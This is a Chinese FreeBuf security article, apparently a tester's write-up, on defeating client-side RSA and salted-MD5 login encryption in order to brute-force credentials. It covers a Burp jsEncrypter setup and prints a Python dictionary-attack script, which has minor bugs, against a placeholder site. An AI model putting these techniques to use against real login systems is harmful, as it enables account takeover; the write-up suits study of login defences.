*本文作者:为了逆袭,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。
前言
最近遇到两个个案例,经过一番倒腾,发现其登录功能均可撞库。但是都存在登录数据本地加密,有空了放一起总结记录一下。
一、案例1(RSA本地加密)
摸底:
首先,进行正常登录逻辑测试,发现该系统登录逻辑分下面两步:
输入正确用户名密码,校验正确后,向注册手机号发送验证码;
输入正确验证码,登录系统。
从该逻辑可知此处可通过填写登录用户名密码后是否发送验证码来判断输入数据是否为正确用户登录凭证,由于站点未对获取验证码提交频率作任何限制,从而可自动化提交来获取该站点正确用户名密码。
演习:
在google的过程中,很快的找到了一款burpsuite套件:jsEncrypter(感谢作者提供这么利索的插件)。下载地址:https://github.com/c0ny1/jsEncrypter/releases。
安装完成后,我们将jsencrypt.min.js下载至本地。然后对站点系统前端代码进行调试,分析前端处理过程,编写js模板文件。
在审计前端源代码页面中,可以找到,在ui目录下的lib文件夹下有一个security文件夹,而其中的rsa_util.js就是调用jsencrypt.min.js文件种的JSEncrypt方法对用户名密码进行加密。
我们可以很清楚看到加密过程,然后根据jsEncrypter的readme文档中的使用指南,我们可以根据其调用逻辑,自行编写一个jsEncrypter_rsa.js文件,来调用jsencrypt.min.js文件为我们的明文数据进行加密。
这里有两个小坑:
由动态调试可知,公钥_pubk在cookie中以url编码后的方式存储,因此,我们本地调用,需要解码一下,在这里,对于换行符,需要用\n替换。
由于jsEncrypter插件使用了phantomjs平台,而phantomjs支持url解码的函数为encodeURIComponent。因此不能使用与系统前端一致的encodeURI函数。
然后仿写系统加密的方式,将公钥以及调用逻辑写入到我们自己的js文件中:
攻击:
1、运行phantomJS并测试。
2、Burpsuite验证,调用成功:
3、抓包,加载字典,实施爆破(两个参数的字典都使用插件):
然后,成功爆破:
二、案例2(md5本地加密)
摸底:
首先通过分析用户登录过程,发现该站点登录无验证码,可多次提交登录数据,但是其用户名密码在本地进行了md5加密处理。因此,撞库之前需要本地实现将字典进行加密操作后再提交。
对登录功能抓包分析后,可以看到在填写用户名密码后,前端发送如下数据包获取cd、salt数据包:
此处存在salt泄漏风险,可遍历手机号,对于未注册⽤用户,返回值⽆salt,对于已注册⽤户salt值恒定。
而实施撞库,需要先请求得到salt与cd值。然后可从前端代码中得到加密用户名密码过程:
pass经过本地md5加密后, 发送至服务端进行登录校验。
演习:
因此,我们只需要用脚本,先输入用户名即手机号,请求得到cd、salt值,然后再从密码字典中,取出密码进行md5加密,最后发包请求即可。编写python脚本如下:
#-*- coding=utf-8 -*-
import requests
import hashlib
import json
def GetPass():
fp = open("./pass.txt","r")
if fp == 0:
print ("open file error!")
return;
while 1:
line = fp.readline()
if not line:
break
passwd = line.strip('\n')
Brute_Force_Dididai("150****1403",passwd);
def Brute_Force_Dididai(username,password):
# url = ""
s = requests.Session()
s.headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)Chrome/51.0.2704.103 Safari/537.36',
'X-Requested-With': 'XMLHttpRequest',
}
url = "http://www.foo.com/?m=&s=getcd"
data = {"username":username}
html = s.post(url,data = data)
print html.content
salt_cd = json.loads(html.content)
print salt_cd['salt']
print salt_cd['cd']
md5_pass = hashlib.md5(password.encode('utf-8')).hexdigest()+salt_cd['salt']
md5_salt = hashlib.md5(md5_pass.encode('utf-8')).hexdigest()+str(salt_cd['cd'])
md5_cd = hashlib.md5(md5_salt.encode('utf-8')).hexdigest()
print md5_cd
url1 = "http://www.foo.com/?m=&s=login_wd&ismd5=1"
data1 = {"username":"username","password":md5_cd}
html1 = s.post(url1,data = data1)
print html1.content
print len(html1.content);
GetPass()
然后准备测试pass.txt:
攻击:
最后只需要执行脚本即可:
最后是爆破成功返回到数据包,由此可得到正确用户名密码。
PS:菜鸡拙作,有不妥之处欢迎各位赐教。感谢各位阅览~
*本文作者:为了逆袭,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。